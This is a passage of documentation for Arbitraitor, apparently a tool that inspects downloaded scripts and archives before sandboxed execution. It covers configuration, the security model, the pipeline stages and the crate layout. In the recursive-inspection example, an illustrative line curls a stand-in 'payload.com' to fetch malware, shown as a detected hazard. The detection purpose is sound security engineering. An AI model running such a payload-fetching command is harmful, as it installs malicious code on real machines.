~/.arbitraitor/shimsby default) is created with the process umask; no explicit mode is set. If you require a specific mode, create the directory before runningwrappers install. wrappers installoverwrites existing files in the shim directory. If a file namedcurlorwgetalready exists at the shim path (including non-Arbitraitor-managed files), it is removed and replaced with the new shim.wrappers statusreportsforeign filefor unknown files as an informational hint, but install will still clobber them. Use a dedicated shim directory (the default~/.arbitraitor/shims) to avoid collisions; if you override with--shim-dir ~/.local/binor another shared path, audit it first.- Network access during wrapper execution is controlled by the active policy and the fetch transport policy (spec §11, ADR-0018).
- Every intercepted download is recorded in the Arbitraitor audit trail and contributes to the operation receipt.
status
The status command shows Arbitraitor’s current health state, including store integrity, loaded detectors, and intelligence feed freshness.
Synopsis
arbitraitor status [flags]
Description
status runs a series of health checks and reports their results. It does not modify state or perform any retrieval.
Flags
--json
Output results as JSON for programmatic consumption:
arbitraitor status --json
--detectors
Show detailed detector status including version and capability information.
--feeds
Show intelligence feed status including last sync time and freshness.
--store
Show store health including disk usage, corruption checks, and garbage collection status.
Health checks
Store
- CAS integrity: Verifies all stored digests match their content
- Disk usage: Reports bytes used and available
- Retention policy: Shows when objects are eligible for garbage collection
- Quarantine: Lists any objects awaiting manual review
Detectors
- Shell analyzer: Verifies bash/dash parser is operational
- Archive extractor: Confirms supported formats are registered
- YARA-X engine: Checks rule pack version and match count
- PowerShell analyzer: Verifies AST parser is functional
- Plugin host: Confirms Wasmtime runtime is available
Intelligence feeds
- Last sync: When each feed was last updated
- Freshness: Whether the feed is within its configured TTL
- Indicator count: How many active indicators each feed provides
Configuration
- Config file validity: TOML parsing and schema validation
- Policy file validity: Rule syntax and import resolution
- Secret resolution: Whether referenced secrets can be loaded
Exit codes
arbitraitor status follows the stable exit codes defined in spec §29
(see CLI reference → Exit codes).
The codes most relevant to status are:
| Code | Meaning |
|---|---|
| 0 | Status reported, no health issues |
| 1 | General operational error (cannot read store, daemon unreachable but not expected) |
| 33 | Required detector unavailable or stale — surfaced as a health finding |
| 60 | Internal integrity invariant failure |
Examples
# Full status
arbitraitor status
# JSON output for monitoring
arbitraitor status --json
# Store health only
arbitraitor status --store
# Detector details
arbitraitor status --detectors
# Feed freshness
arbitraitor status --feeds
Sample output
Arbitraitor status
==================
Store:
CAS integrity: OK (1,247 objects, 42.3 MB)
Disk usage: 42.3 MB / 100 GB
Quarantine: 0 objects
Last GC: 2026-06-20 04:00:00 UTC
Detectors:
shell: OK (28 categories)
archive: OK (6 formats, 15 hazard types)
yarax: OK (1,847 rules)
powershell: OK
plugin-host: OK (Wasmtime 28.0)
Intelligence:
urlhaus: OK (last sync: 2 minutes ago)
community: STALE (last sync: 6 hours ago)
Config:
config.toml: OK
policy.toml: OK (12 rules, 3 gates)
Overall: OK
Configuration
Arbitraitor uses TOML configuration files with layered defaults and project-specific overrides.
Configuration file locations
Arbitraitor reads configuration from (in order of precedence, later wins):
- Built-in defaults
~/.arbitraitor/config.toml(user-level)./.arbitraitor/config.toml(project-level, if present)- Path specified by
--config <PATH>(overrides all of the above)
Project-level configuration (./.arbitraitor/config.toml) may only tighten inherited policy. It cannot add trust roots, enable plugins, or weaken execution controls. See ADR 0017 for details.
All configuration sections
[fetch]
Controls HTTP retrieval behavior.
[fetch]
# Maximum time for a single retrieval (seconds)
timeout = 30
# Maximum number of redirects to follow
max_redirects = 10
# TLS certificate verification
verify_tls = true
# Custom CA certificate bundle (path or "system")
# ca_bundle = "system"
# Proxy URL (http, https, socks5)
# proxy = "socks5://localhost:1080"
# User agent string
user_agent = "arbitraitor/0.1.0"
# Maximum response body size (bytes)
max_body_size = 100_000_000 # 100 MB
# SSRF protection: block private IP ranges
block_private_ip = true
# SSRF protection: block link-local addresses
block_link_local = true
[policy]
Controls verdict handling and approval flow.
[policy]
# Default action when findings exceed thresholds
default_action = "prompt" # pass | warn | prompt | block
# Action in non-interactive mode when prompt is required
non_interactive_prompt_action = "block" # pass | warn | block
# Verdict thresholds by severity
[policy.thresholds]
critical = "block"
high = "prompt"
medium = "warn"
low = "pass"
# Native binary execution gate
[policy.gates]
native = false # require --native flag to run native binaries
network_in_mediated = false # allow network in mediated execution
privilege_elevation = false # allow sudo/su/doas in scripts
[detectors]
Enables and configures individual detectors.
[detectors]
# Shell script analysis
shell_analysis = true
max_shell_script_size = 5_000_000 # bytes
# Archive extraction and inspection
archive_analysis = true
max_archive_depth = 10
max_archive_size = 500_000_000 # bytes
max_archive_members = 10_000
# YARA-X rule scanning
yarax_analysis = true
yarax_rules_path = "./rules" # path to .yarax files
# PowerShell analysis
powershell_analysis = true
# Antivirus adapters
av_analysis = true
# av_vendor = "clamav" | "defender"
# Intelligence feed matching
intel_matching = true
[store]
Content-addressed storage configuration.
[store]
# Store directory
path = "~/.arbitraitor/store"
# Maximum store size (bytes)
max_size = "10GB"
# Default retention period (days)
retention_days = 90
# Garbage collection schedule (cron expression)
# gc_schedule = "0 4 * * *" # daily at 4 AM UTC
# Quarantine directory for manual review
quarantine_path = "~/.arbitraitor/quarantine"
# Enable cryptographic integrity checking
integrity_check = true
[intel]
Threat intelligence feed configuration.
[intel]
# Enable intelligence matching
enabled = true
# URLhaus feed for malware URLs
[intel.feeds.urlhaus]
enabled = true
url = "https://urlhaus.abuse.ch/downloads/json/"
api_key = "secret://env/URLHAUS_API_KEY" # optional
refresh_interval = "1h"
cache_ttl = "24h"
# OpenSSF malicious-packages OSV querybatch response or signed mirror
[intel.feeds.ossf-malicious-packages]
enabled = true
url = "https://api.osv.dev/v1/querybatch"
refresh_interval = "24h"
cache_ttl = "24h"
# Community submissions feed
[intel.feeds.community]
enabled = true
url = "https://api.arbitraitor.org/community/indicators"
api_key = "secret://env/COMMUNITY_API_KEY"
refresh_interval = "6h"
cache_ttl = "24h"
[exec]
Mediated execution configuration.
[exec]
# Default assurance level for run command
default_assurance = "mediated" # mediated | contained
# Working directory for mediated execution
# temp = use system temp directory (default)
# current = use current working directory
working_dir = "temp"
# Output size limit (bytes)
output_limit = 10_000_000 # 10 MB
# Execution timeout (seconds)
timeout = 300
# Sandbox profile
[exec.sandbox]
# Seccomp profile (auto, none, strict)
seccomp = "auto"
# Landlock filesystem restrictions (auto, none, strict)
landlock = "auto"
# Network policy in mediated mode (deny, read-only, full)
network = "deny"
[plugins]
Plugin runtime configuration.
[plugins]
# Enable plugin host
enabled = true
# Plugin search directories
paths = [
"~/.arbitraitor/plugins",
"./plugins",
]
# Wasmtime configuration
[plugins.wasmtime]
# Maximum memory per plugin instance (bytes)
max_memory = 134_217_728 # 128 MB
# Maximum execution time per call (ms)
call_timeout = 5000
# Maximum fuel (instructions)
max_fuel = 1_000_000_000
# Allow clock access
allow_clock = false
# Allow random
allow_random = true
# Subprocess plugin configuration
[plugins.subprocess]
# Allowed executable paths
allowed_paths = [
"/usr/bin/clamscan",
"/usr/bin/yara",
]
# Require digest pinning for executables
pin_executables = true
[receipt]
Receipt generation configuration.
[receipt]
# Signing key for receipts
signing_key = "secret://env/RECEIPT_SIGNING_KEY"
# Include transport metadata in receipts
include_transport_metadata = true
# Include detector findings in receipts
include_findings = true
# Receipt format version
format_version = "1.0"
[logging]
Logging configuration.
[logging]
# Log level (error, warn, info, debug, trace)
level = "info"
# Log format (text, json, compact)
format = "text"
# Output (stdout, stderr, file)
output = "stderr"
# Log file path (if output includes file)
path = "~/.arbitraitor/logs/arbitraitor.log"
# Include timestamp in logs
timestamps = true
# Enable structured fields
structured = true
Secret references
Secrets are never stored in configuration files. Instead, use secret references:
# From an environment variable
api_key = "secret://env/URLHAUS_API_KEY"
# From a file (path is expanded)
cert = "secret://file//path/to/cert.pem"
# From keyring (system keyring)
token = "secret://keyring/service/account"
The secret:// prefix tells Arbitraitor to resolve the value at runtime from the specified source.
Environment variables
These environment variables override configuration values:
| Variable | Overrides | Example |
|---|---|---|
ARBITRAITOR_CONFIG | Config file path | /path/to/config.toml |
ARBITRAITOR_POLICY | Policy file path | /path/to/policy.toml |
ARBITRAITOR_LOG_LEVEL | Log level | debug |
ARBITRAITOR_STORE_PATH | Store directory | /path/to/store |
ARBITRAITOR_NO_COLOR | Disable color output | 1 |
Architecture Overview
Arbitraitor is organized as a Rust monorepo with focused crates that own specific responsibilities.
High-level component interaction
graph TD
CLI[arbitraitor-cli]
Fetch[arbitraitor-fetch]
Store[arbitraitor-store]
Analysis[arbitraitor-analysis]
Policy[arbitraitor-policy]
Exec[arbitraitor-exec]
Sandbox[arbitraitor-sandbox]
MCP[arbitraitor-mcp]
PluginHost[arbitraitor-plugin-host]
CLI --> Fetch
CLI --> Analysis
CLI --> Policy
CLI --> Exec
Fetch --> Store
Analysis --> Store
Exec --> Sandbox
MCP --> Exec
PluginHost --> Sandbox
High-level pipeline
graph TD
CLI["arbitraitor-cli<br/>(argument parsing, output)"]
Fetch["arbitraitor-fetch<br/>(HTTP retrieval, SSRF protection)"]
Store["arbitraitor-store<br/>(content-addressed store, SHA-256)"]
Analysis["arbitraitor-analysis<br/>(detection pipeline coordinator)"]
Policy["arbitraitor-policy<br/>(TOML policy engine, verdicts)"]
Core["arbitraitor-core<br/>(state machine, orchestration)"]
Exec["arbitraitor-exec<br/>(mediated execution)"]
Receipt["arbitraitor-receipt<br/>(RFC 8785 receipts)"]
CLI -->|fetch request| Fetch
Fetch -->|artifact bytes| Store
Store -->|artifact bytes| Analysis
Analysis -->|findings| Policy
Policy -->|verdict| Core
Core -->|execute| Exec
Core -->|audit| Receipt
subgraph detectors ["Detectors"]
Shell["shell analyzer"]
Archive["archive inspector"]
YaraX["YARA-X scanner"]
Pwsh["PowerShell analyzer"]
end
Analysis --- detectors
Core subsystems
Arbitraitor-fetch
HTTP retrieval with security controls. Owns:
- Transport policy (TLS verification, redirect limits, timeout)
- SSRF protection (private IP blocking, DNS rebinding defense)
- Transport metadata recording (final URL, certificate chain)
- Response buffering before release
Must not: Perform policy evaluation, make release decisions.
Arbitraitor-store
Content-addressed storage (CAS). Owns:
- Immutable artifact storage by SHA-256 digest
- Quarantine zone for manual review
- Retention policy and garbage collection
- Integrity verification
Must not: Authorize release. Only the core state machine does that.
Arbitraitor-analysis
Detection pipeline coordinator. Owns:
- Orchestrating parallel detector execution
- Aggregating findings across detectors
- Payload graph discovery (archives, scripts within scripts)
- Recursive inspection limits
Detectors it coordinates:
| Detector | Analyzes |
|---|---|
arbitraitor-shell | Shell scripts (bash, dash) |
arbitraitor-archive | Archives (tar, zip, gz, bz2, xz, 7z) |
arbitraitor-yarax | YARA-X rule matches |
arbitraitor-powershell | PowerShell scripts (AST analysis) |
arbitraitor-av | ClamAV, Microsoft Defender adapters |
Arbitraitor-policy
TOML policy engine. Owns:
- Rule evaluation against findings
- Verdict computation
- Policy document parsing and validation
- Monotonic project policy enforcement
Arbitraitor-core
State machine. Owns:
- Pipeline orchestration (the diagram above)
- Approval flow coordination
- Receipt generation coordination
- Configuration loading and validation
Arbitraitor-exec
Execution broker. Owns:
- Clean environment construction
- Sandbox control application
- Process execution and monitoring
- Output capture and limiting
Must not: Make trust decisions. Only executes what the core approves.
Arbitraitor-receipt
Receipt generation. Owns:
- RFC 8785 JCS canonical JSON
- Receipt signing
- Receipt schema versioning
Security boundaries
┌─────────────────────────────────────────────────────────┐
│ UNTRUSTED INPUT │
│ (network, user-provided files, plugin output) │
└──────────────────┬────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ BOUNDARY: FETCH │
│ arbitraitor-fetch — retrieves and records metadata │
│ SSRF protection enforced here │
└──────────────────┬────────────────────────────────────────┘
│ validated bytes
▼
┌─────────────────────────────────────────────────────────┐
│ BOUNDARY: STORE (CAS) │
│ arbitraitor-store — immutable SHA-256 storage │
│ No release decision made here │
└──────────────────┬────────────────────────────────────────┘
│ artifact handle (digest only)
▼
┌─────────────────────────────────────────────────────────┐
│ BOUNDARY: ANALYSIS │
│ arbitraitor-analysis — detection pipeline │
│ Produces findings, never releases bytes │
└──────────────────┬────────────────────────────────────────┘
│ findings
▼
┌─────────────────────────────────────────────────────────┐
│ BOUNDARY: POLICY │
│ arbitraitor-policy — verdict computation │
│ Produces verdict, never touches bytes │
└──────────────────┬────────────────────────────────────────┘
│ verdict
▼
┌─────────────────────────────────────────────────────────┐
│ BOUNDARY: APPROVAL │
│ arbitraitor-core — human approval or policy capability │
│ Plan-bound: artifact + context + policy bound │
└──────────────────┬────────────────────────────────────────┘
│ approval token
▼
┌─────────────────────────────────────────────────────────┐
│ BOUNDARY: EXECUTE │
│ arbitraitor-exec — mediated execution │
│ Uses exact CAS bytes, not re-fetched content │
└──────────────────┬────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ RECEIPT │
│ arbitraitor-receipt — signed audit trail │
└─────────────────────────────────────────────────────────┘
Data flow
- Retrieval: Fetch records transport metadata and produces a CAS handle (digest)
- Storage: CAS stores bytes, returns handle to core
- Analysis: Analysis receives handle, produces findings keyed by digest
- Policy: Policy evaluates findings, produces verdict
- Approval: Core requests approval if verdict requires it
- Execution: Exec receives handle + approval, reads exact bytes from CAS
- Receipt: Receipt captures the full record with signatures
The artifact bytes are never passed by value across a boundary. Only handles (digests) flow between components after retrieval.
Crate responsibilities
See Crates for the full workspace layout and dependency graph.
Security Model
Arbitraitor enforces explicit policy at every boundary between retrieval, analysis, and execution.
Security invariants
These are non-negotiable. Any change that weakens them will be rejected.
1. No early release
No artifact byte reaches a downstream consumer before scanning and policy evaluation complete.
Detection and policy evaluation are not advisory. They are enforced. A detector that fails produces an incomplete verdict, not a clean result.
2. Immutable identity
Released bytes must hash to exactly the SHA-256 recorded in the verdict.
Re-verify the digest immediately before every release. If the stored digest does not match the on-disk bytes, block.
3. Single retrieval
The primary network response is not re-fetched between approval and execution.
Once the artifact is buffered in CAS, it stays there. Execution reads from CAS using the verified digest, not a new network request.
4. Bounded processing
Every parser, decompressor, scanner, and recursive operation has explicit time, memory, file-count, depth, and byte limits.
A maliciously crafted archive cannot exhaust memory or hang the analyzer. Limits are enforced in the store, the analysis coordinator, and each individual detector.
5. No implicit trust from location
HTTPS, a popular domain, or a successful download does not imply trust.
A script from github.com is treated the same as one from an unknown server. Trust comes from provenance (signatures, pinned digests) or explicit policy, not from the source URL.
6. Fail closed
When enforcement is mandatory, inability to complete a required check blocks release.
A detector that errors is not treated as passing. The verdict becomes incomplete and release is blocked until the issue is resolved or human override approves.
7. Plan-bound approval
Approval binds the artifact digest, interpreter, arguments, environment, filesystem/network grants, destination, policy snapshot, detector snapshots, expiry, and nonce.
Digest-only approval is replayable and forbidden. Changing any parameter of the execution plan requires fresh approval.
8. Monotonic project configuration
A project
.arbitraitor.tomlmay only tighten inherited policy. It cannot add trust roots, enable plugins, permit uploads, or weaken execution controls.
Local configuration can restrict but cannot expand privileges. This prevents a malicious project configuration from weakening global policy.
9. Preserve platform provenance
Never silently remove macOS quarantine attributes or Windows Mark of the Web.
Platform provenance markers indicate the origin of downloaded content. Arbitraitor records them in receipts but does not strip them, preserving Gatekeeper and SmartScreen context.
10. Safe presentation
All untrusted text must be escaped and bounded before display. Plugins return structured data, never terminal control sequences.
Plugin output is never echoed to the terminal raw. Content from network responses is displayed through a renderer that escapes control characters and limits output length.
Threat model summary
Arbitraitor assumes:
- Network is adversarial. SSRF, DNS rebinding, TLS downgrade, and CDN compromise are real threats.
- Content publishers may be compromised. A legitimate domain can serve malicious content.
- Human operators make mistakes. Arbitraitor enforces policy even when users intend to bypass it.
Arbitraitor does not assume:
- That detection is complete. New malware variants may evade existing detectors.
- That a scan means safe. The label is about what was observed, not a guarantee.
- That approval implies safety. Approval binds context, but the artifact must still be inspected.
Assurance levels
Every operation reports which assurance level was in effect. These are documented in detail in ADR 0007.
| Level | Name | What it means |
|---|---|---|
| 1 | Inspect | Analysis only. No execution. |
| 2 | Mediated | Executed with clean environment. Network denied by default. |
| 3 | Contained | Mediated plus verified platform isolation. |
The verdict always includes the level: PASS (inspect), WARN (mediated), etc.
Plan-bound approval
When approval is required, it binds the entire execution context, not just the artifact digest.
The approval capability contains:
Artifact digest: sha256:7c...
Operation: run
Release mode: execute
Interpreter: /bin/bash sha256:a1b2...
Arguments: [--prefix=/usr/local]
Environment digest: sha256:b2c3...
Working directory: /tmp/arbitraitor-xyz
Filesystem grants: [/tmp/arbitraitor-xyz]
Network grants: []
Sandbox requirements: mediated
Policy snapshot: sha256:c3d4...
Detector snapshot: sha256:d4e5...
Expiry: 2026-06-23T12:00:00Z
Nonce: op-12345
Any change to these fields invalidates the approval. If the script is modified, the network policy changes, or the interpreter shifts, fresh approval is required.
See ADR 0013 for the full approval model.
No-root invariant
Arbitraitor analysis, parsing, rule evaluation, and plugin execution never require elevated privileges. Running Arbitraitor as root is blocked by default.
Elevation requests (sudo, su, doas, pkexec, UAC) within a script are detected by shell analysis and blocked during mediated execution.
See ADR 0009 for the full privilege separation model.
Sandbox capabilities
When Level 3 (Contained) execution is requested, the following controls are verified:
| Control | Requirement |
|---|---|
| Filesystem isolation | Enforced (Landlock, chroot, or equivalent) |
| Process-tree containment | Enforced |
| Network policy | Enforced |
| Resource limits | Enforced (memory, CPU, file size) |
| Privilege suppression | no-new-privileges or platform equivalent |
| Capability probe | Proves controls are active |
These are reported per-control in the receipt, not as a single boolean. Landlock ABI probing and receipt recording are documented in ADR 0028.
macOS containment (§27.4)
macOS contained assurance has two complementary paths:
- Containerization (preferred on macOS 26+) — Apple’s Containerization framework (open-sourced WWDC 2025-06-09) gives each Linux container its own lightweight VM: per-container EXT4 block device, isolated IP on a host-side bridge, sub-second start times, and no shared kernel. The VM boundary satisfies the ADR-0007 control matrix without a System Extension, Developer ID signing, or end-user install consent.
- Endpoint Security framework (observation-only) — still the supported
path on macOS 13–15, Intel macOS, and any host where
containerCLI is unavailable. Provides process-tree, file-access, and network-connection events but cannot enforce a complete containment profile;containedrequests downgrade tomediated(orblockper policy).
Receipts on macOS 26+ record containerization_available alongside the
other §27.7 effective-controls so auditors can distinguish
contained-on-containerization from contained-on-other-adapter.
See ADR 0024 for the
macOS 13–15 / Intel deferral and ADR 0034 for the macOS 26+ Containerization strategy.
Receipt integrity
Receipts are signed using RFC 8785 JCS canonical JSON. The signature covers:
- Artifact digest
- All findings
- Verdict and assurance level
- Policy and detector snapshots
- Execution context (for run operations)
- Capability matrix (for contained execution)
Receipts can be verified independently and used as audit evidence.
SBOM and VEX ingestion
Arbitraitor consumes SBOM and VEX documents at the policy and provenance boundary but never produces, signs, or republishes them. Ingestion covers four formats: CycloneDX 1.6+ (with the CDXA ML/AI and CBOM cryptography extensions), SPDX 2.2.1, OpenVEX 0.2.0, and CSAF 2.1 (ISO/IEC 20153, May 2025). The expected shape is the CISA 2025 SBOM Minimum Elements revision (the four new fields Component Hash, License, Tool Name, Generation Context, plus the Software Producer and Coverage renames) and, when an SBOM declares AI content, the five SBOM-for-AI clusters (System-Level Properties, Data Properties, Model Properties, Infrastructure, Security Properties). Documents missing required fields are rejected with a typed error; AI clusters are surfaced into receipt metadata and treated as advisory signals (never verdict inputs). EU CRA Annex I Part II becomes effective for products placed on the EU market from 11 December 2027; the CycloneDX and SPDX profiles here consume CRA-shaped SBOMs unmodified.
See ADR 0030 for the per-format field mapping and SBOM and VEX ingestion for the user-facing reference.
Pipeline
The Arbitraitor pipeline transforms an untrusted URL into an inspected artifact with a signed verdict and optional mediated execution.
Pipeline flow
graph TD
A[Resolve Policy] --> B[Retrieve Once]
B --> C[Record Transport Metadata]
C --> D[Buffer Immutable Bytes]
D --> E[Identify Content]
E --> F[Hash & Verify Provenance]
F --> G[Inspect Reputation]
G --> H[Scan Content]
H --> I[Recursive Payload Discovery]
I --> J[Calculate Verdict]
J --> K{Verdict}
K -->|Pass/Warn| L[Release/Execute]
K -->|Prompt| M[Request Approval]
M -->|Approved| L
M -->|Denied| N[Exit: Denied]
L --> O[Emit Signed Receipt]
Pipeline stages
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 1: RETRIEVE │
│ │
│ Input: URL │
│ Output: CAS handle (immutable digest) + transport metadata │
│ │
│ - Resolve URL (handle redirects, SSRF check) │
│ - Verify TLS certificate chain │
│ - Record final URL after redirects │
│ - Buffer response body in CAS │
│ - Compute SHA-256 digest │
│ - Store transport metadata (IP, TLS cert, timing) │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 2: IDENTIFY │
│ │
│ Input: CAS handle │
│ Output: Content type, magic bytes signature │
│ │
│ - Read magic bytes from CAS │
│ - Match against known content types │
│ - Detect shell scripts, archives, binaries, documents │
│ - Classify as text or binary │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 3: PROVENANCE │
│ │
│ Input: CAS handle, content type │
│ Output: Provenance attestations (signatures, attestations) │
│ │
│ - Check for minisign/cosign signatures │
│ - Verify TUF metadata if configured │
│ - Check digest pins (TOFU mode) │
│ - Record all provenance sources in receipt │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 4: ANALYZE │
│ │
│ Input: CAS handle, content type │
│ Output: Findings from all applicable detectors │
│ │
│ - Run enabled detectors in parallel │
│ - Shell: parse AST, extract URLs/commands/hazards │
│ - Archive: recursively extract and inspect members │
│ - YARA-X: match rules against content │
│ - PowerShell: AST analysis for suspicious patterns │
│ - AV: signature scan with configured vendors │
│ - Intel: match indicators against feeds │
│ - Aggregate all findings by severity and category │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 5: EVALUATE │
│ │
│ Input: Findings, content type, provenance │
│ Output: Verdict (pass/warn/incomplete/block) │
│ │
│ - Apply policy rules to findings │
│ - Check thresholds by severity │
│ - Factor in provenance (signatures may lower effective severity) │
│ - Check approval requirements │
│ - Produce structured verdict with reasoning │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 6: APPROVE (if required) │
│ │
│ Input: Verdict, execution plan │
│ Output: Approval capability or denial │
│ │
│ - If verdict is pass: auto-approve │
│ - If verdict is warn and auto-approve enabled: approve │
│ - If verdict requires human review: │
│ - Present plan digest for interactive approval │
│ - Or validate pre-issued policy capability │
│ - If verdict is block or incomplete: deny │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 7: EXECUTE (if approved) │
│ │
│ Input: CAS handle, approval capability │
│ Output: Execution output, exit code │
│ │
│ - Verify digest matches approved plan │
│ - Construct clean execution environment │
│ - Apply sandbox controls per assurance level │
│ - Execute exact CAS bytes (not re-fetched) │
│ - Capture stdout/stderr with limits │
│ - Enforce timeout │
│ - Record actual controls in effect │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ STAGE 8: RECEIPT │
│ │
│ Input: All pipeline metadata and outputs │
│ Output: Signed JSON receipt │
│ │
│ - Canonicalize using RFC 8785 JCS │
│ - Sign with configured signing key │
│ - Include full findings, verdicts, transport metadata │
│ - Include capability matrix if contained execution │
│ - Emit receipt to configured output │
└─────────────────────────────────────────────────────────────────────┘
Verdict computation
The verdict is computed by evaluating policy rules against findings:
# Example policy
[policy.thresholds]
critical = "block"
high = "prompt"
medium = "warn"
low = "pass"
# Provenance can override
[policy.overrides]
# A valid signature from a trusted key lowers severity
"minisign:trusted-key-123" = { critical = "warn", high = "pass" }
If provenance attests the artifact, the override applies. Otherwise, thresholds control the verdict.
Receipt generation
Every pipeline run produces a receipt regardless of verdict. Receipts are:
- Canonical: RFC 8785 JCS canonical JSON (deterministic byte output)
- Signed: HMAC or minisign signature over the canonical form
- Complete: Includes all metadata, findings, and execution context
{
"schema_version": 2,
"request": {
"arbitraitor_version": "0.1.0"
},
"artifact": {
"sha256": "7c1a...",
"size": 4096,
"artifact_type": "shell-script"
},
"retrieval": {
"requested_url": "https://example.com/install.sh",
"final_url": "https://example.com/install.sh",
"status_code": 200,
"content_type": "application/x-shellscript",
"byte_count": 4096,
"tls_version": "TLSv1.3"
},
"provenance": {},
"payload_graph": null,
"detectors": [],
"findings": [
{
"id": "network:curl",
"category": "suspicious_script_behavior",
"severity": "high",
"confidence": "high",
"title": "Downloads content via curl"
}
],
"policy": {},
"verdict": {
"verdict": "warn",
"deciding_rule": null,
"policy_trace": []
},
"release": null,
"timestamps": {
"created": "2026-06-23T12:00:00Z",
"modified": "2026-06-23T12:00:00Z"
}
}
Recursive inspection
Archives and composite files are recursively inspected:
install.tar.gz
├── install.sh -> analyzed by shell detector
│ └── curl https://payload.com malware -> detected as recursive hazard
├── config.yml -> analyzed for credentials/hazards
└── bin/
└── tool -> binary analysis if native mode enabled
Recursion depth and total extracted size are bounded to prevent zip bombs and similar attacks.
Error handling
| Error | Result |
|---|---|
| Network failure during fetch | Verdict: incomplete, blocked |
| TLS verification failure | Verdict: block (hardcoded policy) |
| Content too large | Verdict: incomplete, truncated |
| Detector panic | Catch, log, verdict: incomplete |
| Timeout exceeded | Kill, verdict: incomplete |
| CAS read failure | Verdict: incomplete, block re-execution |
Sigstore Bundle policy enforcement
Sigstore Bundle consumption is policy-enforced per spec §14.2.1.
After cosign verify-blob succeeds cryptographically, the bundle is validated
against a SigstoreBundlePolicy that enforces:
-
Media type: the
mediaTypefield must be one of the accepted version strings (application/vnd.dev.sigstore.bundle+json;version=0.1,0.2,0.3). Unknown or missing media types are rejected. -
Verification material form: the bundle must contain a
verificationMaterialfield with one of three accepted forms:x509CertificateChain(form 1),publicKey(form 2), orx509Certificate(form 3, required for v0.3 keyless). All three forms are accepted by default. -
Signature payload: the bundle must contain either a
messageSignatureor adsseEnvelope. Bundles missing both are rejected. -
Transparency-log evidence: controlled by
TlogPolicy:Policy Requirement RequireInclusionProof(default)Each tlog entry must carry an inclusionProof(Merkle proof)RequireInclusionPromiseEach tlog entry must carry an inclusionPromise(signed by Rekor)RequireBothEach tlog entry must carry both proof and promise OptionalTlog entries not required; bundle may rely on RFC 3161 timestamps alone -
RFC 3161 timestamps: accepted as signing-time evidence when Rekor is unreachable (air-gapped hosts, SSRF-restricted networks).
-
Online vs offline mode: offline verification is the default. Online Rekor search is opt-in and never produces a stronger verdict than offline inclusion-proof verification.
Identity/issuer binding is not inferred from the Bundle — it is supplied by
local policy via --identity and --issuer.
A Bundle without an inclusion proof and without an RFC 3161 timestamp is
recorded as unverified and must not be treated as a valid signature.
Crates
The Arbitraitor workspace is organized into focused crates. Each crate has a clear responsibility and strict boundary rules.
Workspace layout
arbitraitor/ # Workspace root (Cargo.toml)
├── crates/
│ ├── arbitraitor-cli/ # CLI entry point (23 subcommands)
│ ├── arbitraitor-core/ # State machine, config, health checks
│ ├── arbitraitor-model/ # Domain types, receipts, findings (newtypes)
│ ├── arbitraitor-fetch/ # HTTP retrieval with SSRF protection
│ ├── arbitraitor-store/ # Content-addressed storage (CAS)
│ ├── arbitraitor-artifact/ # Content classification (ELF, PE, Mach-O, shebang)
│ ├── arbitraitor-analysis/ # Detection pipeline coordinator
│ ├── arbitraitor-shell/ # Shell script analyzer (bash/dash)
│ ├── arbitraitor-powershell/ # PowerShell AST analyzer
│ ├── arbitraitor-yarax/ # YARA-X scanner
│ ├── arbitraitor-archive/ # Archive inspector (6 formats, 15 hazards)
│ ├── arbitraitor-av/ # Antivirus adapters (ClamAV, Defender)
│ ├── arbitraitor-provenance/ # Signature verification
│ ├── arbitraitor-intel/ # Intelligence feeds
│ ├── arbitraitor-policy/ # TOML policy engine
│ ├── arbitraitor-receipt/ # RFC 8785 canonicalized receipts
│ ├── arbitraitor-exec/ # Mediated execution (script + native + PowerShell)
│ ├── arbitraitor-sandbox/ # Process hardening (prctl, close_range, setrlimit)
│ ├── arbitraitor-mcp/ # MCP server (inspect, scan, explain, approve, execute)
│ ├── arbitraitor-plugin-api/ # Plugin trait hierarchy
│ ├── arbitraitor-plugin-host/ # Plugin runtime (subprocess + Wasmtime)
│ ├── arbitraitor-wrapper/ # curl/wget wrapper translators + per-shell init
│ ├── arbitraitor-daemon/ # Unix socket daemon (experimental)
│ ├── arbitraitor-package-manager/ # Registry adapters (experimental: cargo, npm, uv, pnpm, yarn, bun)
│ ├── arbitraitor-update/ # Signed update manifest verification
│ ├── arbitraitor-testkit/ # Test infrastructure (SSRF, TLS, raw TCP helpers)
│ └── arbitraitor-workspace-hack/ # hakari-managed dependency deduplication
├── book/ # mdBook documentation
├── docs/ # ADRs, conventions, research
├── wit/ # WIT interface definitions
├── rules/ # YARA-X rule packs
├── schemas/ # JSON schemas
├── plugins/ # Built-in plugins
└── fixtures/ # Test fixtures
Crate responsibilities
arbitraitor-model
Serializable domain types. Newtypes for all semantic primitives.
Owns: Sha256Digest, ArtifactId, Finding, Verdict, Receipt, Policy, ExecutionPlan
Must not: I/O, business logic, network, side effects
arbitraitor-core
State machine and orchestration. Loads config, coordinates pipeline.
Owns: Arbitraitor state machine, config loading, health checks, metrics
Must not: Direct HTTP calls, store implementation details, policy syntax
arbitraitor-fetch
HTTP retrieval with security controls.
Owns: Transport policy, redirect following, TLS verification, SSRF protection, transport metadata recording Must not: Policy evaluation, release decisions
arbitraitor-store
Content-addressed storage (CAS).
Owns: Immutable artifact storage, quarantine, retention/GC, integrity verification Must not: Authorization decisions (only CAS operations)
arbitraitor-analysis
Detection pipeline coordinator.
Owns: Orchestrating detector execution, aggregating findings, payload graph discovery Must not: Direct release/execution decisions
arbitraitor-policy
TOML policy engine.
Owns: Rule evaluation, verdict computation, policy document parsing Must not: Network, retrieval, storage
arbitraitor-exec
Mediated execution broker.
Owns: Environment construction, sandbox application, process execution Must not: Trust decisions, scanning logic
arbitraitor-plugin-host
